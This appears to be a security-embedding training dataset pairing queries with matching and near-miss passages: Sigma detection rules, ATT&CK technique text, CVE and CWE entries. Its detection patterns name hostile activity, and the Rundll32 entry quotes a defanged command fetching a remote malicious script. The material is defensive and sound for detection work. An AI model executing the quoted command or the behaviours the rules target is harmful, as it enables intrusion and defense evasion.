alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: detect Detects a "winlogon.exe" process that initiate network communications with public IP addresses in logs
Matching passage: Sigma rule: Detects a "winlogon.exe" process that initiate network communications with public IP addresses. Logsource: windows / network_connection. Rule: title: Outbound Network Connection To Public IP Via Winlogon id: 7610a4ea-c06d-495f-a2ac-0a696abcfd3b status: test description: Detects a "winlogon.exe" process that initiate network communications with public IP addresses references: - https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/ author: Christopher Peacock @securepeacock, SCYTHE @scythe_io date: 2023-04-28 modified: 2024-03-12 tags: - attack.execution - attack.command-and-control - attack.stealth - attack.t1218.011 logsource: category: network_connection product: windows detection: selection: Image|endswith: \winlogon.exe Initiated: 'true' filter_main_local_ranges: DestinationIp|cidr: - 127.0.0.0/8 - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 - 169.254.0.0/16 - ::1/128 - fe80::/10 - fc00::/7 condition: selection and not 1 of filter_main_* falsepositives: - Communication to other corporate systems that use IP addresses from public address spaces level: medium
Near-miss passage: Sigma rule: Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line i. Logsource: windows / ps_script. Rule: title: PowerShell Remote Session Creation id: a0edd39f-a0c6-4c17-8141-261f958e8d8f status: test description: 'Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-10---powershell-invoke-downloadcradle - https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/new-pssession?view=powershell-7.4 author: frack113 date: 2022-01-06 modified: 2023-01-02 tags: - attack.execution - attack.t1059.001 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains|all: - New-PSSession - '-ComputerName ' condition: selection falsepositives: - Legitimate administrative script level: medium
Query: detection rule: Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files wr
Matching passage: Sigma rule: Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files wr. Logsource: windows / process_creation. Rule: title: Malicious Windows Script Components File Execution by TAEF Detection id: 634b00d5-ccc3-4a06-ae3b-0ec8444dd51b status: test description: 'Windows Test Authoring and Execution Framework (TAEF) framework allows you to run automation by executing tests files written on different languages (C, C#, Microsoft COM Scripting interfaces Adversaries may execute malicious code (such as WSC file with VBScript, dll and so on) directly by running te.exe ' references: - https://lolbas-project.github.io/lolbas/OtherMSBinaries/Te/ - https://twitter.com/pabraeken/status/993298228840992768 - https://learn.microsoft.com/en-us/windows-hardware/drivers/taef/ author: Agro (@agro_sev) oscd.community date: 2020-10-13 modified: 2021-11-27 tags: - attack.stealth - attack.t1218 logsource: category: process_creation product: windows detection: selection: - Image|endswith: \te.exe - ParentImage|endswith: \te.exe - OriginalFileName: \te.exe condition: selection falsepositives: - It's not an uncommon to use te.exe directly to execute legal TAEF tests level: low
Near-miss passage: Sigma rule: Detects VBScript content stored into registry keys as seen being used by UNC2452 group. Logsource: windows / registry_set. Rule: title: VBScript Payload Stored in Registry id: 46490193-1b22-4c29-bdd6-5bf63907216f status: test description: Detects VBScript content stored into registry keys as seen being used by UNC2452 group references: - https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/ author: Florian Roth (Nextron Systems) date: 2021-03-05 modified: 2023-08-17 tags: - attack.privilege-escalation - attack.persistence - attack.t1547.001 logsource: category: registry_set product: windows detection: selection: TargetObject|contains: Software\Microsoft\Windows\CurrentVersion Details|contains: - 'vbscript:' - 'jscript:' - mshtml, - RunHTMLApplication - Execute( - CreateObject - window.close filter: TargetObject|contains: Software\Microsoft\Windows\CurrentVersion\Run filter_dotnet: Image|endswith: \msiexec.exe TargetObject|contains: \SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\ Details|contains: - \Microsoft.NET\Primary Interop Assemblies\Microsoft.mshtml.dll - <\Microsoft.mshtml,fileVersion= - _mshtml_dll_ - <\Microsoft.mshtml,culture= condition: selection and not 1 of filter* falsepositives: - Unknown level: high
Query: ATT&CK technique for Rundll32
Matching passage: T1218.011 Rundll32. Tactics: stealth. Description: Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleD
Near-miss passage: T1218.009 Regsvcs/Regasm. Tactics: stealth. Description: Adversaries may abuse Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Regsvcs and Regasm are Windows command-line utilities that are used to register .NET [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) assemblies. Both are binaries that may be digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) Both utilities may be used to bypass application control through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm)
Query: describe CVE-2015-4851
Matching passage: CVE-2015-4851. CWE: UNKNOWN. CVSS: 6.800000190734863. Unspecified vulnerability in the Oracle iSupplier Portal component in Oracle E-Business Suite 12.0.6, 12.1.3, 12.2.3, and 12.2.4 allows remote attackers to affect confidentiality, integrity, and availability via vectors related to XML input. NOTE: the previous information is from the October 2015 CPU. Oracle has not commented on third-party claims that this issue is an XML External Entity (XXE) vulnerability, which allows remote attackers to read arbitrary files, cause a denial of service, or conduct SMB Relay attacks via a crafted DTD in an XML request to OA_HTML/oramipp_lpr.
Near-miss passage: CVE-2015-2622. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in the PeopleSoft Enterprise PeopleTools component in Oracle PeopleSoft Products 8.54 allows remote attackers to affect integrity via unknown vectors related to Fluid Core.
Query: Sigma YAML for windows / ps_script
Matching passage: Sigma rule: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SA. Logsource: windows / ps_script. Rule: title: Winlogon Helper DLL id: 851c506b-6b7c-4ce2-8802-c703009d03c0 status: test description: 'Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. ' references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1547.004/T1547.004.md author: Timur Zinniatullin, oscd.community date: 2019-10-21 modified: 2022-07-07 tags: - attack.privilege-escalation - attack.persistence - attack.t1547.004 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection: ScriptBlockText|contains: CurrentVersion\Winlogon selection2: ScriptBlockText|contains: - Set-ItemProperty - New-Item condition: all of selection* falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Indicates that a password spray attack has been successfully performed.. Logsource: azure / riskdetection. Rule: title: Password Spray Activity id: 28ecba0a-c743-4690-ad29-9a8f6f25a6f9 status: test description: Indicates that a password spray attack has been successfully performed. references: - https://learn.microsoft.com/en-us/entra/id-protection/concept-identity-protection-risks#password-spray - https://learn.microsoft.com/en-us/entra/architecture/security-operations-user-accounts#unusual-sign-ins author: Mark Morowczynski '@markmorow', Gloria Lee, '@gleeiamglo' date: 2023-09-03 tags: - attack.t1110 - attack.credential-access logsource: product: azure service: riskdetection detection: selection: riskEventType: passwordSpray condition: selection falsepositives: - We recommend investigating the sessions flagged by this detection in the context of other sign-ins from the user. level: high
Query: Sigma YAML for windows / windefend
Matching passage: Sigma rule: Detects suspicious changes to the Windows Defender configuration. Logsource: windows / windefend. Rule: title: Windows Defender Configuration Changes id: 801bd44f-ceed-4eb6-887c-11544633c0aa related: - id: 1321dc4e-a1fe-481d-a016-52c45f0c8b4f type: similar - id: a3ab73f1-bd46-4319-8f06-4b20d0617886 type: similar - id: 91903aba-1088-42ee-b680-d6d94fe002b0 type: similar status: stable description: Detects suspicious changes to the Windows Defender configuration references: - https://learn.microsoft.com/en-us/defender-endpoint/troubleshoot-microsoft-defender-antivirus?view=o365-worldwide - https://bidouillesecurity.com/disable-windows-defender-in-powershell/#DisableAntiSpyware author: Nasreddine Bencherchali (Nextron Systems) date: 2022-12-06 modified: 2023-11-24 tags: - attack.defense-impairment - attack.t1685 logsource: product: windows service: windefend detection: selection: EventID: 5007 NewValue|contains: - '\Windows Defender\DisableAntiSpyware ' - '\Windows Defender\Scan\DisableRemovableDriveScanning ' - '\Windows Defender\Scan\DisableScanningMappedNetworkDrivesForFullScan ' - '\Windows Defender\SpyNet\DisableBlockAtFirstSeen ' - '\Real-Time Protection\SpyNetReporting ' condition: selection falsepositives: - Administrator activity (must be investigated) level: high
Near-miss passage: Sigma rule: Detects possible execution via LNK file accessed on a WebDAV server.. Logsource: windows / process_creation. Rule: title: Potentially Suspicious WebDAV LNK Execution id: 1412aa78-a24c-4abd-83df-767dfb2c5bbe related: - id: f0507c0f-a3a2-40f5-acc6-7f543c334993 type: similar status: test description: Detects possible execution via LNK file accessed on a WebDAV server. references: - https://www.trellix.com/en-us/about/newsroom/stories/research/beyond-file-search-a-novel-method.html - https://micahbabinski.medium.com/search-ms-webdav-and-chill-99c5b23ac462 author: Micah Babinski date: 2023-08-21 tags: - attack.execution - attack.t1059.001 - attack.t1204 logsource: category: process_creation product: windows detection: selection: ParentImage|endswith: \explorer.exe Image|endswith: - \cmd.exe - \cscript.exe - \mshta.exe - \powershell.exe - \pwsh.exe - \wscript.exe CommandLine|contains: \DavWWWRoot\ condition: selection falsepositives: - Unknown level: medium
Query: detection rule: Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned D
Matching passage: Sigma rule: Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned D. Logsource: windows / security-mitigations. Rule: title: Microsoft Defender Blocked from Loading Unsigned DLL id: 0b0ea3cc-99c8-4730-9c53-45deee2a4c86 status: test description: Detects Code Integrity (CI) engine blocking Microsoft Defender's processes (MpCmdRun and NisSrv) from loading unsigned DLLs which may be an attempt to sideload arbitrary DLL references: - https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool author: Bhabesh Raj date: 2022-08-02 modified: 2022-09-28 tags: - attack.privilege-escalation - attack.persistence - attack.execution - attack.stealth - attack.t1574.001 logsource: product: windows service: security-mitigations detection: selection: EventID: - 11 - 12 ProcessPath|endswith: - \MpCmdRun.exe - \NisSrv.exe condition: selection falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects potential overwriting and deletion of a file using DD.. Logsource: linux / process_creation. Rule: title: DD File Overwrite id: 2953194b-e33c-4859-b9e8-05948c167447 status: test description: Detects potential overwriting and deletion of a file using DD. references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC date: 2021-10-15 modified: 2022-07-07 tags: - attack.impact - attack.t1485 logsource: product: linux category: process_creation detection: selection1: Image: - /bin/dd - /usr/bin/dd selection2: CommandLine|contains: of= selection3: CommandLine|contains: - if=/dev/zero - if=/dev/null condition: all of selection* falsepositives: - Any user deleting files that way. level: low
Query: vulnerability: Cross-site scripting (XSS) vulnerability in Zoho NetFlow Analyzer build 10250 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Matching passage: CVE-2015-2960. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in Zoho NetFlow Analyzer build 10250 and earlier allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.
Near-miss passage: CVE-2015-1039. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in user/login.phtml in ZF-Commons ZfcUser before 1.2.2 allows remote attackers to inject arbitrary web script or HTML via the redirect parameter.
Query: patch priority for CVE-2015-6735
Matching passage: CVE-2015-6735. CWE: CWE-17. CVSS: 5.0. The reset functionality in the TimedMediaHandler extension for MediaWiki does not create a new transcode, which allows remote attackers to cause a denial of service (transcode deletion) by resetting a transcode.
Near-miss passage: CVE-2015-0240. CWE: CWE-17. CVSS: 10.0. The Netlogon server implementation in smbd in Samba 3.5.x and 3.6.x before 3.6.25, 4.0.x before 4.0.25, 4.1.x before 4.1.17, and 4.2.x before 4.2.0rc5 performs a free operation on an uninitialized stack pointer, which allows remote attackers to execute arbitrary code via crafted Netlogon packets that use the ServerPasswordSet RPC API, as demonstrated by packets reaching the _netr_ServerPasswordSet function in rpc_server/netlogon/srv_netlog_nt.c.
Query: exploit Mozilla Firefox before 42.0 and Firefox ESR 38.x before 38.4 allow remote attackers to bypass the Same Origin Policy for an IP address origin, and conduct cross-site scripting (XSS
Matching passage: CVE-2015-7188. CWE: CWE-254. CVSS: 7.5. Mozilla Firefox before 42.0 and Firefox ESR 38.x before 38.4 allow remote attackers to bypass the Same Origin Policy for an IP address origin, and conduct cross-site scripting (XSS) attacks, by appending whitespace characters to an IP address string.
Near-miss passage: CVE-2015-0201. CWE: CWE-254. CVSS: 5.0. The Java SockJS client in Pivotal Spring Framework 4.1.x before 4.1.5 generates predictable session ids, which allows remote attackers to send messages to other sessions via unspecified vectors.
Query: patch priority for CVE-2015-1682
Matching passage: CVE-2015-1682. CWE: CWE-119. CVSS: 9.300000190734863. Microsoft Office 2010 SP2, Excel 2010 SP2, PowerPoint 2010 SP2, Word 2010 SP2, Office 2013 SP1, Excel 2013 SP1, PowerPoint 2013 SP1, Word 2013 SP1, Office 2013 RT SP1, Excel 2013 RT SP1, PowerPoint 2013 RT SP1, Word 2013 RT SP1, Office for Mac 2011, Excel for Mac 2011, PowerPoint for Mac 2011, Word for Mac 2011, PowerPoint Viewer, Word Automation Services on SharePoint Server 2010 SP2 and 2013 SP1, Excel Services on SharePoint Server 2010 SP2 and 2013 SP1, Office Web Apps 2010 SP2, Excel Web App 2010 SP2, Office Web Apps Server 2013 SP1, SharePoint Foundation 2010 SP2, and SharePoint Server 2013 SP1 allow remote attackers to execute arbitrary code via a crafted document, aka "Microsoft Office Memory Corruption Vulnerability."
Near-miss passage: CVE-2015-1727. CWE: CWE-119. CVSS: 7.199999809265137. Buffer overflow in the kernel-mode drivers in Microsoft Windows Server 2003 SP2 and R2 SP2, Windows Vista SP2, Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT Gold and 8.1 allows local users to gain privileges via a crafted application, aka "Win32k Pool Buffer Overflow Vulnerability."
Query: CWE for Deployment of Wrong Handler
Matching passage: CWE-430 Deployment of Wrong Handler. The wrong handler is assigned to process an object.
Near-miss passage: CWE-236 Improper Handling of Undefined Parameters. The product does not handle or incorrectly handles when a particular parameter, field, or argument name is not defined or supported by the product.
Query: incident response steps for EDR alert: possible Securityd Memory (T1555.002)
Matching passage: Playbook for T1555.002 Securityd Memory. 1) Validate alert telemetry against T1555.002. 2) Scope affected hosts and accounts. 3) Contain by isolating endpoint / disabling account if confirmed. 4) Hunt for related tactics: credential access. 5) Eradicate persistence and recover. Reference detection notes: An adversary with root access may gather credentials by reading `securityd`’s memory. `securityd` is a service/daemon responsible for implementing security protocols such as encryption and authorization.(Citation: Apple Dev SecurityD) A privileged adversary may be able to scan through `securityd`'s memory to find the correct sequence of keys to decrypt the user’s logon keychain. This may provide t
Near-miss passage: Playbook for T1555.003 Credentials from Web Browsers. Different response path focused on credential access.
Query: describe CVE-2015-1994
Matching passage: CVE-2015-1994. CWE: CWE-200. CVSS: 5.0. IBM Security QRadar Incident Forensics 7.2.x before 7.2.5 Patch 5 does not include the HTTPOnly flag in a Set-Cookie header for the session cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
Near-miss passage: CVE-2015-3720. CWE: CWE-200. CVSS: 4.300000190734863. The kernel in Apple OS X before 10.10.4 does not properly manage memory in kernel-extension APIs, which allows attackers to obtain sensitive memory-layout information via a crafted app.
Query: risk of Unspecified vulnerability in Oracle Sun Solaris 10 and 11 allows local users to affect integrity and availability via vectors related to RPC Utility.
Matching passage: CVE-2015-0429. CWE: UNKNOWN. CVSS: 3.299999952316284. Unspecified vulnerability in Oracle Sun Solaris 10 and 11 allows local users to affect integrity and availability via vectors related to RPC Utility.
Near-miss passage: CVE-2015-4091. CWE: UNKNOWN. CVSS: 7.5. XML external entity (XXE) vulnerability in SAP NetWeaver AS Java 7.4 allows remote attackers to send TCP requests to intranet servers or possibly have unspecified other impact via an XML request to tc~sld~wd~main/Main, related to "CIM UPLOAD," aka SAP Security Note 2090851.